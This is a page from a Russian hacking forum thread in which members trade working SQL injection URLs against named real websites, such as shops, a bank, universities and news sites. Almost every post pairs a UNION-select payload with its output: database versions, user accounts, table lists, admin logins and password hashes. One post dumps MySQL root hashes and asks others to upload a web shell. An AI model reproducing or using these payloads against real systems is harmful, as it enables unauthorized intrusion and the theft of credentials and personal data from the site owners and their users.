SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 469 of 798
  1. Rednoise

    Rednoise New Member

    Joined:
    28 Mar 2007
    Messages:
    29
    Likes Received:
    4
    Reputations:
    0
    http://www.seo-cms.ru/news_article.php?id=-2692+union+select+version(),2,user(),4,database(),6/*

    4.1.20-lk-log:skvitrru_seo:skvitrru_seo@localhost

    при дальнейшем составлении запроса на выборку из таблиц перекидывает на другой сайт, типа фильтр стоит какой то хз, кому интересно поковыряйте
     
    #9361 Rednoise, 19 May 2009
  2. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    http://www.yp.md/news2/news.php?id=-261+union+select+1,2,3,4,version(),6,user(),8,9,10,11,12+--

    PR 4

    user() - ypmd_tester@localhost
    version() - 5.0.67-community-log

    есть таблица user_info ,но в ней ничего интересного нет....
     
    #9362 Krist_ALL, 19 May 2009
  3. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://valdis.org.ru/site.php?id=-2206+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,user(),version(),database()),11,12,13,14,15,16,17

    valdis_valdis@localhost:5.0.77-community:valdis_valdis

    http://valdis.org.ru/site.php?id=-2206+union+select+1,2,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17+from+information_schema.tables+limit+x,1

    в базах ничего интересного не нашел.
    PR4, ТИЦ 50

    http://www.bank45.ru/site.php?id=-10028+union+select+concat_ws(0x3a,version(),user(),database())/*

    http://www.bank45.ru/site.php?id=-10028+union+select+login+from+users/*

    данные выводятся в title

    Нашел ещё вот что:
    http://www.bank45.ru/users/
    особенно понравилось, когда переход по ok.php :)

    так же почерпнуть информацию можно здесь:
    http://www.bank45.ru/phpinfo.php

    PR2 , ТИЦ 10
     
    #9363 AlexSatter, 19 May 2009
    Last edited by a moderator: 19 May 2009
  4. savik143

    savik143 Banned

    Joined:
    18 May 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    4
    http://www.shenick.com/show_news.php?id=-87+union+select+1,user(),database(),version(),5,6, 7,8,9+from+user+limit+0,1+--

    vesrion() - 5.0.45-log доступ нормальный логин admin,админка по адресу /admin
     
    #9364 savik143, 19 May 2009
    Last edited: 19 May 2009
    1 person likes this.
  5. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    http://www.massiveattack.com/blog.php?id=-657%20union%20select%201,2,3,4,5,6,CONCAT_WS(7,%20user(),%20version(),%20database()),8,9.10,11,12,13,14,15,16,17,18,19,20,21%20/*
     
    #9365 Ctacok, 19 May 2009
  6. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 6]
    Code:
    http://perkins.pvt.k12.ma.us/museum/area.php?id=35+and+substring(@@version,1,1)=3
    [PR 4]
    Code:
    http://www.unitech-adc.us/product_info.php?id=41+and+substring(@@version,1,1)=3
     
    #9366 RulleR, 19 May 2009
    1 person likes this.
  7. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Ого скока уже накидали пока я в запое был суточном ))))ну что поехали

    PR: 5

    http://www.mondopop.it/news_view_iuk.php?id=-1+union+select+1,ver sion(),3,4,5, 6,7,8,9,10--

    5.0.68-log

    http://www.mondopop.it/news_view_iuk.php?id=-1+union+select+1,grou p_concat(table_name),3,4,5,6,7,8,9,10+from+information_schema.tables+group +by+table_schema+limit+1,1 --

    tables :

    about,commenti_iuk,items,order_list,users_prova,admin,country,kind,press,video,artist,editoriale,news,users, commenti,exhibitions,news_iuk,users_press

    http://www.mondopop.it/news_view_iuk.php?id=-1+union+select+1,group_conca t(concat_ws(0x3a,nick,pa ss)),3,4,5,6,7,8,9,10+from+use rs--


    ##########################################
    PR: 2

    http://www.greenparksystem.it/eng/prodotti2.php?id=-1+union+select+1,2,concat_ws(0x3a,u ser(),database(),versio n()),4,5,6,7,8--

    greenpark@localhost:greenpark:4.1.21
     
    _________________________
    #9367 HAXTA4OK, 19 May 2009
    Last edited: 19 May 2009
  8. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://www.rateshops.ru/shops.php?fil=&cid=-130+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4

    5.0.22:us5167f@localhost:pivomani_shops

    http://www.rateshops.ru/shops.php?fil=&cid=-130+union+select+1,TABLE_NAME,3,4+from+information_schema.tables+limit+50,1

    Пробуем обратиться к: mysql.user
    http://www.rateshops.ru/shops.php?fil=&cid=-130+union+select+1,Password,3,4+from+mysql.user+where+User=0x726F6F74
    Получаем: Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_bin,IMPLICIT) for operation 'UNION'
    ммм, несоответсвие кодировок. закодируем пароль в .. ну например в hex
    http://www.rateshops.ru/shops.php?fil=&cid=-130+union+select+1,hex(Password),3,4+from+mysql.user+where+User=0x726F6F74
    получаем: 31666466326136313036646134646139
    преобразовываем обратно: 1fdf2a6106da4da9

    Сайт по началу произвел нормальное впечатление, аккуратный, наполненый, но практически в каждом скрипте уязвим к SQL-INJ...
    по показателям, сайт нулевой...

    ещё один сайт, нулевой, просто ради опыта...
    http://stistroy.ru/site.php?id=-4+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8

    5.0.67-log:u149824:[email protected]

    через information_schema.tables можно посмотреть какие таблицы есть, но ничего интересного нет. да и сайт пустой.


    http://www.proherm.ru/site.php?id=-3+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8

    4.1.22-log:wwwprohermru:p[email protected]

    http://www.proherm.ru/site.php?id=-3+union+select+1,login,3,4,5,6,7,8+from+accounts+limit+1,1

    login: proherm

    но потом оказалось, что это не нужно, нашел:
    http://www.proherm.ru/a/
    где всё доступно и без паролей.


    http://www.valdis.net.ru/site.php?id=-433+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),database(),user()),11,12,13,14,15,16,17

    5.0.77-community:valdis_valdis:valdis_valdis@localhost

    http://www.valdis.net.ru/site.php?id=-433+union+select+1,2,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17+from+information_schema.tables+limit+20,1
    с 17 до 20 есть таблицы, с юзерами ничего не связано.


    ТИЦ 50, PR 1
     
    #9368 AlexSatter, 19 May 2009
    Last edited: 20 May 2009
    2 people like this.
  9. Rav1n

    Rav1n Elder - Старейшина

    Joined:
    5 Nov 2008
    Messages:
    7
    Likes Received:
    21
    Reputations:
    11
    Code:
    http://www.tdnovator.com/item.php?division=2&id=-280+union+select+1,2,3,4,5,6,7,8,9,cast(concat_ws(0x3a,version(),database(),user())+as+binary),11,12,13,14,15,16,17,18--
    4.1.13a-nt-max-log:1gb_tdnovatordb:[email protected]
     
    #9369 Rav1n, 20 May 2009
    Last edited by a moderator: 20 May 2009
    1 person likes this.
  10. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 5]
    Code:
    http://www.svoa.co.th/product_info.php?id=-70237+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16--
    4.0.15a-log:svoaweb:[email protected]

    [PR 3]
    Code:
    http://www.pakman.com.ru/product_info.php?id=-125+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8--
    4.1.22-standard-log:pakmanc_pakman:pakmanc_pakman@localhost

    [PR 0]
    Code:
    http://rmshop.ru/product_info.php?id=1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12--
    4.1.22-log:wwwprinterovnet:printero@localhost

    [PR 0]
    Code:
    http://www.valvesmanufacturer.cn/product_info.php?id=149+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10--
    4.1.16-nt:glb1:glb1@bizcn-w85

    [PR 0]
    Code:
    http://printerov.net/product_info.php?id=-40+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12--
    4.1.22-log:wwwprinterovnet:printero@localhost

    [PR 0]
    Code:
    http://printmag.ru/product_info.php?id=-211+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12--
    4.1.22-log:wwwprinterovnet:printero@localhost
     
    #9370 RulleR, 20 May 2009
  11. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    _http://www.energyflashrecords.co.uk/catalogue/title.phtml?product_id=-24946+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,0,1,2,3,4,5,16+--

    5.0.67-community:wiz_system:wiz_system@localhost

    _http://www.webtrafficpromotions.com/product_detail.php?cid=3&pid=-5+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,0,1,2,3,4,5,6--

    5.0.77-community:webtraff_wtp1013:webtraff_wtp1013@localhost
     
    _________________________
    #9371 winstrool, 20 May 2009
    Last edited by a moderator: 20 May 2009
  12. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.e-n.it/index.php?id=1&lg=it&nav=0&art=-15709+union+select +1,2,3,4,5,6,7,8,9, version() ,11,12,13,14 --

    5.0.68-log

    http://www.e-n.it/index.php?id=1&lg=it&nav=0&art=-15709+uni on+select+1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14+ from+information_schema.tables+group+by+table_schema+l imit+3,1--

    там куча таблов))))через лимит сморите)
     
    _________________________
    #9372 HAXTA4OK, 20 May 2009
    Last edited: 20 May 2009
  13. Kimliksiz

    Kimliksiz Member

    Joined:
    7 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    11
    Mysgl

    http://www.jambi.net/berita.php?view=detail&id=-28+union+select+1,version(),3,4,5,6,7,8,9,10,11--

    Access denied for user 'jambi_henky'@'localhost' (using password: YES) in

    Access denied for user 'jambi'@'localhost' (using password: NO) in


    http://partungkoan.com/berita.php?view=detail&id=-28+union+select+1,version(),3,4,5,6,7,8,9,10,11--


    http://www.sman1berastagi.sch.id/berita.php?view=detail&id=-28+union+select+1,version(),3,4,5,6,7,8,9,10,11--


    Access denied for user 'land_landsmile'@'localhost' (using password: YES) in /
     
    #9373 Kimliksiz, 20 May 2009
    1 person likes this.
  14. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.imvtours.it/destinazioni.php?id=-1+uni on+select+1,2,ver sion()--

    5.0.68-log

    tables:

    imv_agenzie,imv_destinazioni_cataloghi,imv_hotels,imv_pagine,imv_visual,
    imv_cataloghi,imv_destinazioni_hotels,imv_link,imv_province,imv_curriculum,
    imv_galleria,imv_newsletter_subscriber,imv_sessioni,imv_destinazioni,imv_homepage,imv_offerte,imv_utenti

    user tables: imv_utenti

    users:
     
    _________________________
    #9374 HAXTA4OK, 20 May 2009
  15. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    PR3

    http://www.altromolise.it/notizia.php?argomento=cronaca&articolo=-38385+union+select+1,2,3,4,5,6,concat(version(),char(58),database(),char(58),user()),8,9,10,11,12,13,14,15,16,17,18,19,20--

    4.0.30-standard-log:Sql11522_4:[email protected]

    admins:
     
    #9375 nemaniak, 20 May 2009
  16. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Code:
    http://europosuda.ru/shop/index.php?CID=-1+uniOn+Select+1,concat(login,0x3a,password)+from+ssrusers--
     
    #9376 R1dex, 20 May 2009
    2 people like this.
  17. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 4

    http://dottint.dicea.unifi.it/index.php?fuseaction=showareas&id=1&page=-16+union+select+version()--

    5.0.51a-24

    tables:
    work_student,introduction,posts,forum_mods,video,liens,themes,document,reponses,catagories,posts_text,
    access,whosonline,forums,liste_domaines,topics,exercice_question,sessions,config,priv_msgs,accueil,words,
    group_properties,mc_scoring,exercices,user_group,stat_accueil,course_description,questions,agenda,work,
    headermetafooter,pages,forum_access,users,student_group,disallow,ranks,banlist

    http://dottint.dicea.unifi.it/index.php?fuseaction=showareas&id=1&page=-16+union+select+group_concat(concat_ws(0x3a,user,pas sword,file_priv))+from+mysql. user+group+b y+file_priv+limit+1,1--

    file_priv : Y

    root:0fdabf2d0422efe4:Y,claroroot:28ba5d674194eb31:Y,debian-sys-maint:*3DDF0119DF873573462050B67B02D659CA586C52,dir-dic:47f1e8824f72016b:Y,elka:40cc7d9422737e7e:Y,dicweb:35be89a25baf7df9:Y,fabio:05d26b55199cdec1:Y,egjp:40cc7d9422737e7e:Y,leo:5ccae1205bd560b6:Y

    кто сильный знаток в теме с файлом_прив У,просто я где то читал что мона залить шелл через SQL ,залейте плиз и в ПМ киньте )))если не жалко вам будет
     
    _________________________
    #9377 HAXTA4OK, 20 May 2009
    1 person likes this.
  18. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    PR3, ТИЦ 120

    http://www.replicator.ru/part.php?news_sort=-2+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8,9,10,11,12,13,14,15

    5.0.67-log:[email protected]:u12550

    http://www.replicator.ru/part.php?news_sort=-2+union+select+1,2,3,4,5,TABLE_NAME,7,8,9,10,11,12,13,14,15+from+information_schema.tables

    Заинтересовала только одна таблица: ACS

    http://www.replicator.ru/part.php?news_sort=-2+union+select+1,2,3,4,5,COLUMN_NAME,7,8,9,10,11,12,13,14,15+from+information_schema.columns+where+TABLE_NAME=0x414353

    ID_ACS
    ID_SITE
    ID_MENU
    AUTH_ADMIN
    PASS_ADMIN
    PRIM

    казалось бы. то что нужно... попробовал вывести содержимое, ничего...

    http://www.replicator.ru/part.php?news_sort=-2+union+select+1,2,3,4,5,count(*),7,8,9,10,11,12,13,14,15+from+ACS

    нет записей..
     
    #9378 AlexSatter, 20 May 2009
  19. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 4

    http://www.earthsystem-school.unimore.it/tematiche.php?id=1+union+select+1,version(),3,4--

    5.0.45

    http://www.earthsystem-school.unimore.it/tematiche.php?id=1+union+ select+1,table_name,3,4 +from+informati on_schema.tables--

    Ky4a tables)))
     
    _________________________
    #9379 HAXTA4OK, 20 May 2009
  20. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Code:
    http://antesthermo.ru/03topmenu/09news/?cont_id=235+and+1=0+union+select+1,2,3,4,5,6,7,8,concat(name,0x3a,pass),0,1,2,3,4,5+from+users--
     
    #9380 R1dex, 20 May 2009
    Last edited: 20 May 2009
(You must log in or sign up to post here.)
Page 469 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.